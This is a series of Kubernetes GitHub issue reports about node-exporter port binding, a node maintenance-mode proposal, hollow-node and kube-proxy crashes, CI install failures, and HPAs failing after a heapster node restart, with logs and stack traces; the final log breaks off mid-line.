this is odd. here's my daemonset:      yaml apiversion: extensions/v1beta1 kind: daemonset metadata:   name: node-exporter spec:   template:     metadata:       labels:         app: node-exporter       name: node-exporter     spec:       containers:       - name: node-exporter         image: quay.io/prometheus/node-exporter:0.12.0         ports:         - name: scrape           containerport: 9100           hostport: 9100       hostnetwork: true       hostpid: true      it runs fine. says it's listening. on port 9100. on node a:      shell $ sudo lsof -p 13165 command     pid user   fd      type   device size/off     node name node_expo 13165 root  cwd       dir    252,4      148      131 / node_expo 13165 root  rtd       dir    252,4      148      131 / node_expo 13165 root  txt       reg    252,4 14480776 33557023 /bin/node_exporter node_expo 13165 root    0r     fifo     0,10      0t0 18039984 pipe node_expo 13165 root    1w     fifo     0,10      0t0 18039985 pipe node_expo 13165 root    2w     fifo     0,10      0t0 18039986 pipe node_expo 13165 root    3u     ipv6 18040039      0t0      tcp  :9100  listen  node_expo 13165 root    4u  a_inode     0,11        0     8114  eventpoll  $ curl -i http://localhost:9100/ http/1.1 200 ok      on node b:      shell $ sudo lsof -p 14378 command     pid user   fd      type device size/off     node name node_expo 14378 root  cwd       dir  252,4      148      131 / node_expo 14378 root  rtd       dir  252,4      148      131 / node_expo 14378 root  txt       reg  252,4 14480776 33557023 /bin/node_exporter node_expo 14378 root    0r     fifo   0,10      0t0 10053053 pipe node_expo 14378 root    1w     fifo   0,10      0t0 10053054 pipe node_expo 14378 root    2w     fifo   0,10      0t0 10053055 pipe node_expo 14378 root    3u     sock    0,8      0t0 10053071 protocol: tcpv6 node_expo 14378 root    4u  a_inode   0,11        0     8114  eventpoll  $ curl -i http://localhost:9100/ curl:  7  failed to connect to localhost port 9100: connection refused       docker inspect  shows both containers being utterly identical. both nodes are running the same version of docker and kubernetes.  how do i debug this?  ---    environment        shell $ lsb_release -d description:    ubuntu 16.04 lts  $ uname -a linux ip-10-0-4-248 4.4.0-28-generic  47-ubuntu smp fri jun 24 10:09:13 utc 2016 x86_64 x86_64 x86_64 gnu/linux  $ docker --version docker version 1.11.2, build b9f10c9  $ kubelet --version kubernetes v1.3.0

this is proposal to provide additional state in which worker node can exist, state in which operator takes all responsibility on running workloads, and receives guarantee that scheduler/controller/other mechanisms will not interfere with node marked in such way.  at the moment, when kubelet is inaccessible for some configured time  grace period, eviction timeout  all workloads on this node are rescheduled on other ones. as this is time based it cannot be used as guarantee that during some maintenance operations  system libs/services upgrade, kubelet, kube-proxy upgrade, execution driver upgrade like in rkt example  which do not require pod restarting - that workload will not be moved to other node. host could be temporarily overloaded, there also could be temporary network overload - timeouts are in this case are wrong metric, if we want to be sure that workloads need to be untouched here.  we  mirantis  are proposing to provide additional mark/attribute which will suspend operations from control plane components  scheduler/controller/possibly other ones .  there is a  poc branch  https://github.com/kubernetes/kubernetes/compare/master...jellonek:jell/maintenance  for this purpose  still missing the test cases  which provides a possibility to mark a node in such mode, in similar case to marking node as  unschedulable  but keeping this states separated, so one could be set using:  kubectl patch -f node.json -p '{\ spec\ :{\ inmaintenance\ :true}}   initially this was sent to  sig-cluster-lifecycle  https://github.com/kubernetes/community/tree/master/sig-cluster-lifecycle  mailing list and proposed on meeting week ago, but now i'm adding @davidopp and @timothysc after being hinted by @bgrant0607.

refactor reconciler code in /pkg/kubelet/volumemanager/reconciler/reconciler.go

the kubernetes.github.io repo hosts docs generated from code in the kubernetes/kubernetes repo.  we should automate updating the docs repo so that this is not a manual process involving a human  when there are no conflicts .

the pr https://github.com/kubernetes/kubernetes/pull/41703 fixed hollow npd. now hollow npd can work properly. however, i found that npd can't update node condition, and keep reporting error:\r    \r e0219 10:05:23.100125       1 manager.go:160  failed to update node conditions: nodes \ hollow-node-w9fkf\  not found\r    \r the reason is that hollow kubelet never registers the node.\r \r i checked the hollow kubelet. most of them are empty, but in some of them i saw tons of the following log:\r    \r 0219 09:59:54.303624       9 file.go:72  unable to read config path \ /tmp/hollow-kubelet.037396831/manifest013003570\ : unable to create i\r notify: inotify_init: too many open files\r    \r \r btw, we really need hollow node log. i can't reproduce this in my own kubemark cluster, i can only wait for the kubemark test running, and login into the running node to get some debug information.\r \r /cc @shyamjvs @wojtek-t @gmarek

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kops-aws/5356/ failed: install_gcloud {pre-setup}                      your current cloud sdk version is: 146.0.0 installing components from version: 146.0.0  +----------------------------------------------------+ |        these components will be installed.         | +-----------------------------+------------+---------+ |             name            |  version   |   size  | +-----------------------------+------------+---------+ | gcloud-deps  linux, x86_64  | 2017.02.21 | 3.9 mib | +-----------------------------+------------+---------+  for the latest full release notes, please visit:   https://cloud.google.com/sdk/release_notes   ============================================================   = creating update staging area                             =   ============================================================   = installing: gcloud-deps  linux, x86_64                   =   ============================================================   = creating backup and activating new installation          =   ============================================================   performing post processing steps... ...........failed. warning: post processing failed.  run  gcloud info --show-log  to view the failures.  update done!  traceback  most recent call last :   file \ //google-cloud-sdk/bin/bootstrapping/install.py\ , line 206, in <module>     main     file \ //google-cloud-sdk/bin/bootstrapping/install.py\ , line 191, in main     sdk_root=bootstrapping.sdk_root, typeerror: updaterc   got an unexpected keyword argument 'completion_update'                     previous issues for this test:  32669  36416  36842  40203  42227

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r bug\r \r \r   what happened  :\r got panic after running:\r    \r docker run --net=host --rm=true --privileged --volume=/var/run/dbus gcr.io/google_containers/hyperkube-amd64:v1.7.0-rc.1 /hyperkube proxy --cleanup-iptables=true\r    \r \r panic:\r    \r 2017-06-28 06:19:08.012844 i | proto: duplicate proto type registered: google.protobuf.any\r 2017-06-28 06:19:08.044749 i | proto: duplicate proto type registered: google.protobuf.duration\r 2017-06-28 06:19:08.045078 i | proto: duplicate proto type registered: google.protobuf.timestamp\r w0628 06:19:08.165958       1 server.go:188  warning: all flags other than --config, --write-config-to, and --cleanup-iptables are deprecated. please begin using a config file asap.\r panic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x20 pc=0x3747724 \r \r goroutine 1  running :\r k8s.io/kubernetes/cmd/kube-proxy/app.  proxyserver .run 0xc42069c240, 0xc420884d01, 0xc4203e7700 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kube-proxy/app/server.go:630 +0x74\r k8s.io/kubernetes/cmd/kube-proxy/app.  options .run 0xc420884d10, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kube-proxy/app/server.go:226 +0xa0\r k8s.io/kubernetes/cmd/kube-proxy/app.newproxycommand.func1 0xc4205efd40, 0x92146d8, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kube-proxy/app/server.go:341 +0x80\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc4205efd40, 0xc420281220, 0x0, 0x1, 0xc4205efd40, 0xc420281220 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:603 +0x22b\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .executec 0xc4205efd40, 0xc420a579e8, 0x42be9e, 0xc4200ecca8 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:689 +0x339\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc4205efd40, 0xc420281220, 0xc420a579f8 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:648 +0x2b\r main.newkubeproxy.func1 0xc4200787e0, 0xc420281220, 0x0, 0x1, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/hyperkube/kube-proxy.go:50 +0x68\r main.  hyperkube .run 0xc420084a80, 0xc420010190, 0x1, 0x1, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/hyperkube/hyperkube.go:177 +0x3ec\r main.  hyperkube .runtoexit 0xc420084a80, 0xc420010180, 0x3, 0x3 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/hyperkube/hyperkube.go:187 +0x59\r main.main  \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/hyperkube/main.go:47 +0x847\r    \r \r   what you expected to happen  :\r no panic and exit successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run the following command on both coreos v1298.7.0 bare metal  and ubuntu 16.04.2 lts openstack \r    \r docker run --net=host --rm=true --privileged --volume=/var/run/dbus gcr.io/google_containers/hyperkube-amd64:v1.7.0-rc.1 /hyperkube proxy --cleanup-iptables=true\r    \r happened with the following versions:\r v1.7.0-alpha.3\r v1.7.0-alpha.4\r v1.7.0-beta.0\r v1.7.0-beta.1\r v1.7.0-beta.2\r v1.7.0-rc.1\r v1.8.0-alpha.0\r v1.8.0-alpha.1\r \r   anything else we need to know?  :\r i guess it caused by 43cb024402e6992418b2197228889633b82ddb75.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r both coreos v1298.7.0 bare metal  and ubuntu 16.04.2 lts openstack \r - kernel  e.g.  uname -a  :\r   - coreos v1298.7.0: \r      linux node-f7d74e 4.9.16-coreos-r1  1 smp tue apr 4 19:09:38 utc 2017 x86_64 intel r  core tm  i5-6500 cpu @ 3.20ghz genuineintel gnu/linux\r   - ubuntu 16.04.2 lts: \r      linux ubuntu-3b1877 4.4.0-62-generic  83-ubuntu smp wed jan 18 14:10:15 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r   description  :\r \r in  addorupdatetaintonnode  and  removetaintoffnode , they handle one taint every time; it's better to enhance it to support handling taints in batch.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r when i trying on kubernetes master ha, when the master node failured, the null point exceptions throws on candidate hosts and lead the controller manager crashed.\r  \r    \r i0821 10:23:53.900036       5 controllermanager.go:460  started \ endpoint\ \r i0821 10:23:53.900047       5 controllermanager.go:450  starting \ serviceaccount\ \r i0821 10:23:53.900167       5 endpoints_controller.go:154  starting endpoint controller\r i0821 10:23:53.900184       5 controller_utils.go:1021  waiting for caches to sync for endpoint controller\r w0821 10:23:53.916153       5 client_builder.go:226  token for service-account-controller/kube-system did not authenticate correctly\r w0821 10:23:53.916172       5 client_builder.go:169  secret service-account-controller-token-c6rqp contained an invalid api token for service-account-controller/kube-system\r i0821 10:23:53.929196       5 client_builder.go:233  verified credential for service-account-controller/kube-system\r i0821 10:23:53.929559       5 controllermanager.go:460  started \ serviceaccount\ \r i0821 10:23:53.929571       5 controllermanager.go:450  starting \ daemonset\ \r i0821 10:23:53.929683       5 serviceaccounts_controller.go:113  starting service account controller\r i0821 10:23:53.929706       5 controller_utils.go:1021  waiting for caches to sync for service account controller\r i0821 10:23:53.948499       5 client_builder.go:233  verified credential for daemon-set-controller/kube-system\r i0821 10:23:53.953902       5 daemon_controller.go:160  adding daemon set calico-node-s390x\r i0821 10:23:53.953996       5 controllermanager.go:460  started \ daemonset\ \r e0821 10:23:53.954001       5 runtime.go:66  observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference \r /root/hchen/gopath/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r /root/hchen/gopath/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r /root/hchen/gopath/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r /usr/local/go/src/runtime/asm_amd64.s:514\r /usr/local/go/src/runtime/panic.go:489\r /usr/local/go/src/runtime/panic.go:63\r /usr/local/go/src/runtime/signal_unix.go:290\r /root/hchen/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/controller/daemon/daemon_controller.go:161\r /root/hchen/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/controller.go:195\r <autogenerated>:57\r /root/hchen/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/shared_informer.go:545\r /root/hchen/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/shared_informer.go:381\r /root/hchen/gopath/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:71\r /usr/local/go/src/runtime/asm_amd64.s:2197\r panic: runtime error: invalid memory address or nil pointer dereference  recovered \r \tpanic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x0 pc=0x31c705a \r \r goroutine 1244  running :\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime.handlecrash 0x0, 0x0, 0x0 \r \t/root/hchen/gopath/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:58 +0x126\r panic 0x4050880, 0x934c510 \r \t/usr/local/go/src/runtime/panic.go:489 +0x2cf\r k8s.io/kubernetes/pkg/controller/daemon.newdaemonsetscontroller.func1 0x4809980, 0xc422100000 \r \t/root/hchen/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/controller/daemon/daemon_controller.go:161 +0xea\r k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.resourceeventhandlerfuncs.onadd 0xc422c963a0, 0xc422c963b0, 0xc422c963c0, 0x4809980, 0xc422100000 \r \t/root/hchen/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/controller.go:195 +0x49\r k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  resourceeventhandlerfuncs .onadd 0xc422c98a40, 0x4809980, 0xc422100000 \r \t<autogenerated>:57 +0x73\r k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  processorlistener .run 0xc422cde230 \r \t/root/hchen/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/shared_informer.go:545 +0x287\r k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  processorlistener . k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.run -fm  \r \t/root/hchen/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/shared_informer.go:381 +0x2a\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.  group .start.func1 0xc420415788, 0xc422c963f0 \r \t/root/hchen/gopath/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:71 +0x4f\r created by k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.  group .start\r \t/root/hchen/gopath/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:72 +0x62\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

this is a placeholder for kubernetes/minikube 1996 this is a known issue with minikube configuring openapi incorrectly.\r \r note: kubectl works with non-minikube kubernetes clusters, this is just a configuration issue with minikube.\r \r this issue will not be fixed in kubectl, but is just a placeholder for folks that run into the minikube issue.

is this a bug report or feature request?  :\r \r   \r   what happened  :\r all existing hpas stopped working and any new hpas do not work.\r \r   what you expected to happen  :\r hpas should work.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    create an hpa  https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale-walkthrough/ :\r    \r kubectl run php-apache --image=gcr.io/google_containers/hpa-example --requests=cpu=200m --expose --port=80\r service \ php-apache\  created\r deployment \ php-apache\  created\r \r kubectl autoscale deployment php-apache --cpu-percent=50 --min=1 --max=10\r deployment \ php-apache\  autoscaled\r    \r \r  note: _this next step is what i   think   was the root cause of the bug based on my investigation of the events and logs of my cluster.  i am not 100% sure that this is exactly what causes it or if it is necessary to reproduce._ \r   trigger a restart/system upgrade of the node running the  heapster  pod  without deleting the node from k8s .  it looks like this must be done through ssh or as a system upgrade because restarting it from the aws console will cause k8s to delete the node  because it is no longer present according to cloud provider event message .  simply stopping the  kubelet  service for a few minutes instead of restarting the node might also work:\r    \r heapster_node=$ kubectl -n kube-system get po -l k8s-app=heapster -o jsonpath='{.items  .spec.nodename}' \r external_ip=$ kubectl get no/$heapster_node -o jsonpath='{.status.addresses ? @.type==\ externalip\   .address}' \r ssh core@$external_ip 'sudo shutdown -r now'\r    \r \r   hpas do not function   targets  always  <unknown>  and  replicas  always  0  and  events  always  <none>  :\r    \r kubectl get hpa\r name             reference               targets           minpods   maxpods   replicas   age\r hpa/php-apache   deployment/php-apache   <unknown> / 50%   1         10        0          24m\r    \r \r    \r kubectl describe hpa/php-apache\r name:                           php-apache\r namespace:                      default\r labels:                         <none>\r annotations:                    <none>\r creationtimestamp:              thu, 09 nov 2017 09:10:30 -0500\r reference:                      deployment/php-apache\r metrics:                          current / target  \r   resource cpu on pods   as a percentage of request :   <unknown> / 50%\r min replicas:                   1\r max replicas:                   10\r events:                         <none>\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t07:00:21z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6\ , gitcommit:\ 7fa1c1756d8bc963f1a389f4a6937dc71f08ada2\ , gittreestate:\ clean\ , builddate:\ 2017-06-16t18:21:54z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r  aws \r \r - os  e.g. from  /etc/os-release  :\r    \r name=\ container linux by coreos\ \r id=coreos\r version=1520.8.0\r version_id=1520.8.0\r build_id=2017-10-26-0342\r pretty_name=\ container linux by coreos 1520.8.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r \r - kernel  e.g.  uname -a  :\r    \r linux ip-10-0-8-18.ec2.internal 4.13.9-coreos  1 smp thu oct 26 03:21:00 utc 2017 x86_64 intel r  xeon r  cpu e5-2686 v4 @ 2.30ghz genuineintel gnu/linux\r    \r \r - install tools:\r  kops \r \r \r   anything else we need to know?  :\r \r \r after a new heapster pod is created i can see the  cpu/usage_rate  metric go up when increasing load:\r \r    \r kubectl run -i --tty load-generator --image=busybox /bin/sh\r \r /   while true; do wget -q -o- http://php-apache.default.svc.cluster.local; done\r ok!ok!ok!ok!ok!ok!ok!ok!ok!ok!ok!ok!ok!ok!ok!ok!ok!ok!ok!ok!ok!ok!ok!ok!ok!ok!ok!ok!...\r    \r \r    \r curl http://$heapster_service_host/api/v1/model/namespaces/default/pods/php-apache-3580908300-9jp27/meics/cpu/usage_rate\r {\r   \ metrics\ :  \r    {\r     \ timestamp\ : \ 2017-11-09t14:23:00z\ ,\r     \ value\ : 0\r    },\r    ...\r    {\r     \ timestamp\ : \ 2017-11-09t14:36:00z\ ,\r     \ value\ : 0\r    },\r    {\r     \ timestamp\ : \ 2017-11-09t14:37:00z\ ,\r     \ value\ : 204\r    }\r    ,\r   \ latesttimestamp\ : \ 2017-11-09t14:37:00z\ \r  }\r    \r \r however, hpas still not functioning:\r    \r kubectl get hpa\r name             reference               targets           minpods   maxpods   replicas   age\r hpa/php-apache   deployment/php-apache   <unknown> / 50%   1         10        0          30m\r    \r \r \r -----\r \r     details of investigation of my k8s cluster\r \r \r i had a worker node restart due to a coreos update and after the restart all of my existing hpas completly stopped working and no new hpas work.  \r _ journalctl of worker node that i believe caused this bug _\r    \r nov 07 13:12:28 ip-10-0-8-33.ec2.internal locksmithd 1164 : lastcheckedtime=1510060285 progress=0 currentoperation=\ update_status_updated_need_reboot\  newversion=1520\r nov 07 13:12:28 ip-10-0-8-33.ec2.internal locksmithd 1164 :  etcd.service etcd2.service  are inactive\r nov 07 13:12:28 ip-10-0-8-33.ec2.internal systemd-logind 1173 : system is rebooting.\r nov 07 13:12:28 ip-10-0-8-33.ec2.internal locksmithd 1164 : reboot sent. going to sleep.\r nov 07 13:12:28 ip-10-0-8-33.ec2.internal systemd 1 : stopped target timers.\r nov 07 13:12:28 ip-10-0-8-33.ec2.internal systemd 1 : removed slice system-disk\\x2duuid.slice.\r nov 07 13:12:28 ip-10-0-8-33.ec2.internal systemd 1 : stopped daily cleanup of temporary directories.\r nov 07 13:12:28 ip-10-0-8-33.ec2.internal systemd 1 : stopping authorization manager...\r nov 07 13:12:28 ip-10-0-8-33.ec2.internal systemd 1 : stopping kubernetes kubelet server...\r nov 07 13:12:28 ip-10-0-8-33.ec2.internal kubelet 1803 : i1107 13:12:28.827209    1803 docker_server.go:87  stop docker server\r    \r \r the only thing that seems significant about this worker node is that it was running the  heapster  pod.\r _controller manager logs surrounding the event:_\r    \r i1107 13:11:58.351831       6 horizontal.go:515  successfully updated status for core-api-agent\r i1107 13:11:58.430387       6 horizontal.go:515  successfully updated status for core-api-echo\r i1107 13:11:58.505730       6 horizontal.go:515  successfully updated status for core-api-sidekiq\r i1107 13:11:58.574813       6 horizontal.go:515  successfully updated status for cashier\r i1107 13:12:25.355932       6 stateful_set.go:420  syncing statefulset fusion/cassandra with 5 pods\r i1107 13:12:25.356012       6 stateful_set.go:425  succesfully synced statefulset fusion/cassandra successful\r i1107 13:12:28.362607       6 horizontal.go:515  successfully updated status for core-api-agent\r i1107 13:12:28.423178       6 horizontal.go:515  successfully updated status for core-api-echo\r \r    this is where all hpas stopped working - there is not a single \ horizontal.go\  log line after this moment   \r \r i1107 13:13:04.484718       6 controller_utils.go:285  recording status change nodenotready event message for node ip-10-0-8-33.ec2.internal\r i1107 13:13:04.484780       6 controller_utils.go:203  update ready status of pods on node  ip-10-0-8-33.ec2.internal \r i1107 13:13:04.485277       6 event.go:217  event v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ ip-10-0-8-33.ec2.internal\ , uid:\ 5ac8fef1-c3af-11e7-b7b8-0ea16c9d111e\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'nodenotready' node ip-10-0-8-33.ec2.internal status is now: nodenotready\r i1107 13:13:04.653485       6 controller_utils.go:220  updating ready status of pod cashier-439828844-njjf2 to false\r i1107 13:13:04.663727       6 controller_utils.go:220  updating ready status of pod core-api-echo-1038893361-pg6tn to false\r i1107 13:13:04.679264       6 controller_utils.go:220  updating ready status of pod core-api-sidekiq-2881830066-1zt37 to false\r i1107 13:13:04.695124       6 controller_utils.go:220  updating ready status of pod core-api-sidekiq-2881830066-flq15 to false\r i1107 13:13:04.720398       6 controller_utils.go:220  updating ready status of pod core-api-sidekiq-2881830066-gn0l2 to false\r i1107 13:13:04.748321       6 controller_utils.go:220  updating ready status of pod core-api-sidekiq-2881830066-gz941 to false\r i1107 13:13:04.766302       6 controller_utils.go:220  updating ready status of pod core-api-sidekiq-2881830066-ltss9 to false\r i1107 13:13:04.795269       6 controller_utils.go:220  updating ready status of pod heapster-2224542789-bx265 to false\r i1107 13:13:04.820975       6 controller_utils.go:220  updating ready status of pod kube-flannel-ds-9nn7g to false\r i1107 13:13:04.861156       6 controller_utils.go:220  updating ready status of pod kube-proxy-ip-10-0-8-33.ec2.internal to false\r i1107 13:13:04.876368       6 controller_utils.go:220  updating ready status of pod dd-agent-73bn8 to false\r i1107 13:13:04.950341       6 controller_utils.go:220  updating ready status of pod agent-ghost-buster-1510054500-48kdm to false\r i1107 13:13:05.025218       6 controller_utils.go:220  updating ready status of pod agent-ghost-buster-1510054800-hs0v5 to false\r i1107 13:13:05.038379       6 controller_utils.go:220  updating ready status of pod agent-ghost-buster-1510055100-0f67p to false\r i1107 13:13:05.057314       6 controller_utils.go:220  updating ready status of pod agent-ghost-buster-1510055400-lgdrl to false\r i1107 13:13:05.073310       6 controller_utils.go:220  updating ready status of pod agent-ghost-buster-1510055700-tqdmr to false\r i1107 13:13:05.093279       6 controller_utils.go:220  updating ready status of pod agent-ghost-buster-1510056000-58l7s to false\r i1107 13:13:05.109378       6 controller_utils.go:220  updating ready status of pod agent-status-check-1510055100-jkcbw to false\r i1107 13:13:05.131168       6 controller_utils.go:220  updating ready status of pod agent-status-check-1510056000-gsf3l to false\r i1107 13:13:05.223339       6 deployment_controller.go:485  error syncing deployment core-api-production/core-api-sidekiq: operation cannot be fulfilled on deployments.extensions \ core-api-sidekiq\ : the object has been modified; please apply your changes to the latest version and try again\r i1107 13:13:09.696007       6 servicecontroller.go:663  detected change in list of current cluster nodes. new node set:  ip-10-0-8-146.ec2.internal ip-10-0-8-230.ec2.internal ip-10-0-8-201.ec2.internal ip-10-0-8-136.ec2.internal ip-10-0-8-243.ec2.internal ip-10-0-8-23.ec2.internal ip-10-0-8-196.ec2.internal ip-10-0-8-135.ec2.internal ip-10-0-8-133.ec2.internal ip-10-0-8-210.ec2.internal ip-10-0-8-36.ec2.internal ip-10-0-8-47.ec2.internal ip-10-0-8-80.ec2.internal ip-10-0-8-183.ec2.internal ip-10-0-8-81.ec2.internal ip-10-0-8-244.ec2.internal ip-10-0-8-113.ec2.internal ip-10-0-8-31.ec2.internal ip-10-0-8-17.ec2.internal ip-10-0-8-124.ec2.internal ip-10-0-8-154.ec2.internal ip-10-0-8-125.ec2.internal ip-10-0-8-87.ec2.internal ip-10-0-8-24.ec2.internal ip-10-0-8-91.ec2.internal \r i1107 13:13:09.846952       6 aws.go:3194  caching instances for map ip-10-0-8-80.ec2.internal:{} ip-10-0-8-183.ec2.internal:{} ip-10-0-8-31.ec2.internal:{} ip-10-0-8-154.ec2.internal:{} ip-10-0-8-24.ec2.internal:{} ip-10-0-8-146.ec2.internal:{} ip-10-0-8-243.ec2.internal:{} ip-10-0-8-196.ec2.internal:{} ip-10-0-8-210.ec2.internal:{} ip-10-0-8-124.ec2.internal:{} ip-10-0-8-125.ec2.internal:{} ip-10-0-8-87.ec2.internal:{} ip-10-0-8-81.ec2.internal:{} ip-10-0-8-230.ec2.internal:{} ip-10-0-8-201.ec2.internal:{} ip-10-0-8-23.ec2.internal:{} ip-10-0-8-135.ec2.internal:{} ip-10-0-8-133.ec2.internal:{} ip-10-0-8-36.ec2.internal:{} ip-10-0-8-47.ec2.internal:{} ip-10-0-8-244.ec2.internal:{} ip-10-0-8-17.ec2.internal:{} ip-10-0-8-136.ec2.internal:{} ip-10-0-8-113.ec2.internal:{} ip-10-0-8-91.ec2.internal:{} \r i1107 13:13:09.941086       6 aws_loadbalancer.go:428  instances removed from load-balancer afb828584b83011e78eae0ea16c9d111\r i1107 13:13:10.096392       6 aws.go:3180  returning cached instances for map ip-10-0-8-124.ec2.internal:{} ip-10-0-8-87.ec2.internal:{} ip-10-0-8-24.ec2.internal:{} ip-10-0-8-243.ec2.internal:{} ip-10-0-8-196.ec2.internal:{} ip-10-0-8-135.ec2.internal:{} ip-10-0-8-31.ec2.internal:{} ip-10-0-8-210.ec2.internal:{} ip-10-0-8-36.ec2.internal:{} ip-10-0-8-183.ec2.internal:{} ip-10-0-8-17.ec2.internal:{} ip-10-0-8-146.ec2.internal:{} ip-10-0-8-201.ec2.internal:{} ip-10-0-8-136.ec2.internal:{} ip-10-0-8-133.ec2.internal:{} ip-10-0-8-113.ec2.internal:{} ip-10-0-8-91.ec2.internal:{} ip-10-0-8-230.ec2.internal:{} ip-10-0-8-47.ec2.internal:{} ip-10-0-8-81.ec2.internal:{} ip-10-0-8-244.ec2.internal:{} ip-10-0-8-23.ec2.internal:{} ip-10-0-8-80.ec2.internal:{} ip-10-0-8-154.ec2.internal:{} ip-10-0-8-125.ec2.internal:{} \r i1107 13:13:10.153303       6 aws_loadbalancer.go:428  instances removed from load-balancer af05720fc9e0b11e7a2141252c780286\r i1107 13:13:10.334326       6 aws.go:3180  returning cached instances for map ip-10-0-8-201.ec2.internal:{} ip-10-0-8-47.ec2.internal:{} ip-10-0-8-183.ec2.internal:{} ip-10-0-8-230.ec2.internal:{} ip-10-0-8-135.ec2.internal:{} ip-10-0-8-133.ec2.internal:{} ip-10-0-8-210.ec2.internal:{} ip-10-0-8-80.ec2.internal:{} ip-10-0-8-244.ec2.internal:{} 